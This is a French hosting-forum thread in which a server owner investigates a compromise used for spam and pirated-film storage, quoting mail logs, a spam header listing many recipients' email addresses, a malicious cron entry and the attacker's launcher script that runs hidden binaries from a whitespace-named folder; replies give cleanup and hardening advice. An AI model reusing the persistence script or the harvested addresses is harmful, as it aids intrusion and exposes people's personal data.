• Serveurs
  • Hack et utilisation du serveur pour stocker des films/séries...

Bonjour,

J'ai un serveur dédié sur lequel j'héberge 4 / 5 sites.
Il tourne sous Ubuntu 12.04.4 LTS et avec le panel Plesk v12.0.18.

J'ai reçu il y a quelques jours un e-mail de mon serveur m'indiquant que j'avais dépassé la limite d'envoi d'e-mail par heure (Max 30 e-mails/heure).
Évidement, j'ai immédiatement compris que quelqu'un utilisait mon serveur pour spammer.
Je me suis aussi aperçu que mon disque dur était presque plein.

J'ai donc chercher et trouvé un dossier nommé juste avec un point et des espaces derrière : .
Ce dernier contenait je pense 200 à 300 films et séries... Je ne sais pas si les deux problèmes sont liés.

Bref, voici le résultat de mes recherches :

Extrait du mailog : (J'ai des milliers de lignes de la sorte. PS j'ai remplacé mes infos par des XXXXXX qui représentent mon IP serveur ou mon domaine)
...
Feb  6 09:35:03 XXXXXX postfix/smtp[6655]: EF23AF24C68: host mx.maisonstudio.it[62.149.128.151] refused to talk to me: 554 mxcmd06.ad.aruba.it bizsmtp Ewb21s02x5GeQSe01 Connection refused from XX.XXX.XXX.XXX. See http://csi.cloudmark.com/reset-request/?ip=XX.XXX.XXX.XXX for more information.
Feb  6 09:35:03 XXXXXX postfix/smtp[6646]: 8CAE4F248CE: host mx.innovacostruzioni.it[62.149.128.157] refused to talk to me: 554 mxcmd06.ad.aruba.it bizsmtp Ewb21s02y5GeQSe01 Connection refused from XX.XXX.XXX.XXX. See http://csi.cloudmark.com/reset-request/?ip=XX.XXX.XXX.XXX for more information.
Feb  6 09:35:03 XXXXXX postfix/smtp[6691]: EF23AF24C68: host mx.cfaonline.it[62.149.128.160] refused to talk to me: 554 mxcmd06.ad.aruba.it bizsmtp Ewb21s02s5GeQSe01 Connection refused from XX.XXX.XXX.XXX. See http://csi.cloudmark.com/reset-request/?ip=XX.XXX.XXX.XXX for more information.
...

Dans Plesk, j'ai 320 mails dans la file d'attente, voici le header d'un d'entre eux :
Received: from XXXXXXX.XX (unknown [103.17.51.144])
	by sd-XXXXX.dedibox.fr (Postfix) with ESMTPA id 68092F22D97;
	Wed,  3 Feb 2016 11:28:04 +0100 (CET)
DomainKey-Signature: a=rsa-sha1;  q=dns; c=nofws;
  s=default; d=XXXXXXX.XX;
  b=FxT2tmCLu3QvtyWZR0alXc0n0OxbFeeYNxw1ZaLs03lJ8BSiUWVzup+VUdW5dkCmIUxbOHP5IBbrwYe1PAhl0PmuSelKgPPhKBDKxzZF53vilJAtp45C5qMmuW3XMAcI;
  h=Message-ID:From:To:Subject:Date:MIME-Version:Content-Type:X-Priority:X-MSMail-Priority:Importance:X-Mailer:X-MIMEOLE:X-PPP-Message-ID:X-PPP-Vhost;
Message-ID: <719AC716ED6128359B13E93101E3C328@XXXXXX.XX>
From: "gianchiancone" <gianchiancone@XXXXXX.XX>
To: "erasmus in" <erasmus-in@univ-montp3.fr>,
 "eleonora selvatico" <eleonora.selvatico@gmail.com>,
 "abonnements" <abonnements@liberation.fr>, "abo" <abo@lemonde.fr>,
 "k damoun" <k-damoun@hotmail.fr>, "t lhonneur" <t.lhonneur@yahoo.fr>,
 "emma samka" <emma.samka@wanadoo.fr>,
 "anne marijnen" <anne.marijnen@univ-paris8.fr>,
 "gianchiancone" <gianchiancone@libero.it>,
 "camille besnard02" <camille.besnard02@gmail.com>,
 "damien deblic" <damien.deblic@gmail.com>,
 "perrine rosenzweig" <perrine.rosenzweig@gmail.com>,
 "micali antonello" <micali.antonello@gmail.com>,
 "erasmus scienzepolitiche" <erasmus.scienzepolitiche@uniroma1.it>,
 "iattard" <iattard@assemblee-nationale.fr>,
 "bibgeo" <bibgeo@univ-paris1.fr>, "peb bu" <peb.bu@univ-paris8.fr>,
 "charlotte" <charlotte@lebonbon.fr>, "a marijnen" <a_marijnen@yahoo.it>,
 "audrey mariette" <audrey.mariette@univ-paris8.fr>
Subject: =?ISO-8859-1?Q?2=2F3=2F2016_11=3A28=3A03_AM?=
Date: Tue, 3 Feb 2016 11:28:03 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_47A5_718C1C42.6A9CE242"
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3522.110
X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110
X-PPP-Message-ID: <20160203102812.38684.22026@sd-57518.dedibox.fr>
X-PPP-Vhost: XXXXXX.XX
Pour la partie films piratés, j'ai trouvé quelques fichiers dans les dossiers anon_ftp de quelques noms de domaines hébergés :



Il n'y a rien dans le dossier ".a".

Contenu du cron : (Pour que ce soit plus clair, j'ai mis un numéro au nom de domaine)
*/10 * * * * /var/www/vhosts/DOMAINE1.COM/cgi-bin/test/updatedb > /dev/null 2>&1
Contenu du updatedb pointé par la tâche cron :
#!/bin/bash

cd "/var/www/vhosts/DOMAINE2.COM/anon_ftp/pub/.                   "
if [ -f .iscsid ]
        then
        pid=`cat .iscsid`
        if [ `ps -p $pid | wc -l` -eq 2 ]; then
                exit
                fi
        rm -rf .iscsid
fi
./.httpd -x "/usr/bin/php5-cgiÐ’ -cÐ’ /var/www/vhosts/DOMAINE3.COM/etc/php.ini"
cd ..

cd "/var/www/vhosts/DOMAINE3.COM/anon_ftp/pub/.                   "
  ./.httpd
Alors je décortique :
Le fichier .iscsid contient simplement une id : 2263
Je pense que le gros problème vient du fichier .httpd, mais le codage de caractère le rend illisible avec mon outil :

Hébergé par Imagesia.com

Toutefois la fin contient plusieurs lignes lisibles :

Hébergé par Imagesia.com

Et l'intérieur contient du code html par moment. Je pense qu'il doit y avoir un accès web...

Bref je continue et je vais allimenter au fur et à mesure le topic dès que j'ai des éléments complémentaires.

Merci d'avance à ceux qui pourront m'aider !

J.C.
Salut,

Après un piratage tu devras impérativement réinstaller le serveur mais il serait intéressant de savoir comment tu t'es fais piraté.
Check les logs apache/nginx, à tout les coup tu n'as pas fais les mises à jour de Plesk u un de tes sites (wordpress ?).
Les fichiers illisibles sont certainements des binaires pour y placer des backdoors.

Installe "Aide http://aide.sourceforge.net/) pour vérifier si certaines commandes n'ont pas été modifiées.
Ensuite, fais voir un netstat -ltunp, tu devrais avoir des ports suspects ouverts...

Avant de faire des backups de tes sites et de réinstaller le serveur, check tous tes fichiers pour vérifier si une backdoor n'a pas été placée.
Salut,

Merci de ta réponse claire et rapide !
Je me doutais qu'une réinstalle serait de rigueur, j'aurais préféré gagner un peu de temps. Mais je vais me débrouiller pour la faire dans le week-end.

Avant tout je vais suivre tes conseils afin de trouver la source du problème et éviter cela par la suite.

Normalement tout est mis à jours automatiquement (Plesk et 3 ou 4 sites Wordpress), mais il est possible que l'un des Wordpress n'est pas la MAJ automatique.

Je vais regarder tout cela et reviendrais donner des nouvelles.

Merci encore.
Yop,
Si tu as que plex et des wordpress, cherche pas plus loin, ça doit venir d'un plugin wordpress non à jour ou vérolé...
Wordpress c'est très bien, mais non maintenu, c'est un gruyère géant...
Par contre logiquement tu peux automatisé les mises a jour de wordpress et de ses plugins je crois, non ?
Voilà le netstat :
Connexions Internet actives (seulement serveurs)
Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat       PID/Program name
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      980/mysqld
tcp        0      0 0.0.0.0:587             0.0.0.0:*               LISTEN      1276/master
tcp        0      0 127.0.0.1:783           0.0.0.0:*               LISTEN      1898/spamd.pid
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      8133/apache2
tcp        0      0 0.0.0.0:8880            0.0.0.0:*               LISTEN      1094/sw-cp-serverd
tcp        0      0 0.0.0.0:465             0.0.0.0:*               LISTEN      1276/master
tcp        0      0 XX.XX.XX.XX:53       0.0.0.0:*               LISTEN      985/named
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      985/named
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      869/sshd
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      2522/drwebd.real
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1393/postgres
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      1276/master
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      985/named
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      8133/apache2
tcp        0      0 0.0.0.0:8443            0.0.0.0:*               LISTEN      1094/sw-cp-serverd
tcp        0      0 0.0.0.0:12443           0.0.0.0:*               LISTEN      1094/sw-cp-serverd
tcp        0      0 127.0.0.1:19004         0.0.0.0:*               LISTEN      1745/perl
tcp        0      0 127.0.0.1:2911          0.0.0.0:*               LISTEN      924/monit
tcp        0      0 127.0.0.1:12768         0.0.0.0:*               LISTEN      23032/psa-pc-remote
tcp        0      0 127.0.0.1:2912          0.0.0.0:*               LISTEN      923/sw-engine
tcp        0      0 0.0.0.0:6308            0.0.0.0:*               LISTEN      1094/sw-cp-serverd
tcp6       0      0 :::106                  :::*                    LISTEN      931/xinetd
tcp6       0      0 :::587                  :::*                    LISTEN      1276/master
tcp6       0      0 :::110                  :::*                    LISTEN      22983/couriertcpd
tcp6       0      0 :::143                  :::*                    LISTEN      22950/couriertcpd
tcp6       0      0 :::9008                 :::*                    LISTEN      2433/java
tcp6       0      0 :::8080                 :::*                    LISTEN      2433/java
tcp6       0      0 :::8880                 :::*                    LISTEN      1094/sw-cp-serverd
tcp6       0      0 :::465                  :::*                    LISTEN      1276/master
tcp6       0      0 :::53                   :::*                    LISTEN      985/named
tcp6       0      0 :::21                   :::*                    LISTEN      931/xinetd
tcp6       0      0 :::22                   :::*                    LISTEN      869/sshd
tcp6       0      0 :::9080                 :::*                    LISTEN      2433/java
tcp6       0      0 ::1:5432                :::*                    LISTEN      1393/postgres
tcp6       0      0 :::25                   :::*                    LISTEN      1276/master
tcp6       0      0 :::8443                 :::*                    LISTEN      1094/sw-cp-serverd
tcp6       0      0 :::993                  :::*                    LISTEN      22964/couriertcpd
tcp6       0      0 :::995                  :::*                    LISTEN      22997/couriertcpd
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      2433/java
udp        0      0 XX.XX.XX.XX:53       0.0.0.0:*                           985/named
udp        0      0 127.0.0.1:53            0.0.0.0:*                           985/named
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           607/avahi-daemon: r
udp        0      0 0.0.0.0:54934           0.0.0.0:*                           607/avahi-daemon: r
udp6       0      0 :::53                   :::*                                985/named
udp6       0      0 :::51238                :::*                                607/avahi-daemon: r
udp6       0      0 :::5353                 :::*                                607/avahi-daemon: r
Le 3ème (783). Après j'ai comparé avec ma config iptable de Plesk et d'autres ne sont pas listés : 953 / 3000 / 2911 / 12768 / 2912 et j'en passe...

Pour AIDE, je l'ai bien installé, mais c'est pas plutôt avant qu'il fallait le mettre pour comparer avec maintenant ou j'ai pas bien compris le principe ?

Après dans les logs, je ne sais pas trop dans lesquels chercher, je ne suis pas d'un niveau très avancé...

J'ai par exemple dans l'ordre de récence :
jk-runtime-status.13054 (Binaire)
suexec.log
other_vhosts_access.log
mod_jk.log
error.log
lokiii wrote:Yop,
Si tu as que plex et des wordpress, cherche pas plus loin, ça doit venir d'un plugin wordpress non à jour ou vérolé...
Wordpress c'est très bien, mais non maintenu, c'est un gruyère géant...
Par contre logiquement tu peux automatisé les mises a jour de wordpress et de ses plugins je crois, non ?
Merci de ta réponse, oui je sais pour Wordpress... C'est très moyennement sécure...
Les MAJ auto sont actives, mais peut-être que pour un des sites non.

Il faut que je trouve un moyen d’empêcher que cela se reproduise, peut-être une gestion des droits d'utilisateur plus strictes ?
jc147 wrote:Il faut que je trouve un moyen d’empêcher que cela se reproduise, peut-être une gestion des droits d'utilisateur plus strictes ?
Gestion des droits plus strictes, isolation de services (Docker/Container OpenVZ/SeLinux,...), configuration du pare feu...
Tu peux par exemple faire une VM par site web avec un nginx en reverse proxy en front, comme ça si un site est piraté, les autres ne sont pas affectées.
Un ajout de type portsentry, Fail2ban ne serait pas forcement useless.
[ex_rat tuto devrais t'aider a mettre en place cela, si tu ne l'avais pas fait]
Merci de vos réponse.

J'ai trouvé un backdoor... Apparemment le pseudo hacker a utilisé ceci que je vais écrire phonétiquement pour éviter d'éventuels problème : exploit tiret db point com
J’éditerais le post dès que vous l'aurez vu pour supprimer cette info qui ne me semble pas utile à répandre jusqu'aux oreilles de petits malins.
Je comprend pas qu'un site pareil soit aussi accessible

Il semble que cela exploite des failles de DB, je n'ai pas encore regardé en profondeur mais quelqu'un connait ?
Oui ce site est très connus. Il référence toutes les failles.
Je viens de regarder et en effet, j'ai cru sur le coup que c'était l'utilitaire qu'a utilisé le hacker.
En fait il s'agit de "double-v est-ce eau" en trois lettres. (Encore du phonétique, je n'ai pas envie de faire de la pub pour ce genre d'outil !)

Cet utilitaire est installé sur un sous domaine que j'avais créé pour un proche. Ce dernier avait installé un site Joomla pour tester et l'a abandonné.
Je dirais à 99% que cela vient de là...

Un site de test de sécurité m'a bien confirmé que la version est largement obsolète et dangereuse.

Je vais donc tout migrer petit à petit sur un nouveau dédié en faisant attention à d'éventuels autres backdoors car je ne peux pas avoir d'interruption sur mes hébergements.
From: "gianchiancone" <gianchiancone@XXXXXX.XX>
To: "erasmus in" <erasmus-in@univ-montp3.fr>,
 "eleonora selvatico" <eleonora.selvatico@gmail.com>,
 "abonnements" <abonnements@liberation.fr>, "abo" <abo@lemonde.fr>,
 "k damoun" <k-damoun@hotmail.fr>, "t lhonneur" <t.lhonneur@yahoo.fr>,
 "emma samka" <emma.samka@wanadoo.fr>,
 "anne marijnen" <anne.marijnen@univ-paris8.fr>,
 "gianchiancone" <gianchiancone@libero.it>,
 "camille besnard02" <camille.besnard02@gmail.com>,
 "damien deblic" <damien.deblic@gmail.com>,
 "perrine rosenzweig" <perrine.rosenzweig@gmail.com>,
 "micali antonello" <micali.antonello@gmail.com>,
 "erasmus scienzepolitiche" <erasmus.scienzepolitiche@uniroma1.it>,
 "iattard" <iattard@assemblee-nationale.fr>,
 "bibgeo" <bibgeo@univ-paris1.fr>, "peb bu" <peb.bu@univ-paris8.fr>,
 "charlotte" <charlotte@lebonbon.fr>, "a marijnen" <a_marijnen@yahoo.it>,
 "audrey mariette" <audrey.mariette@univ-paris8.fr>
Je serai toi je leur enverrai un petit mail comme quoi le piratage est interdit
Répondre…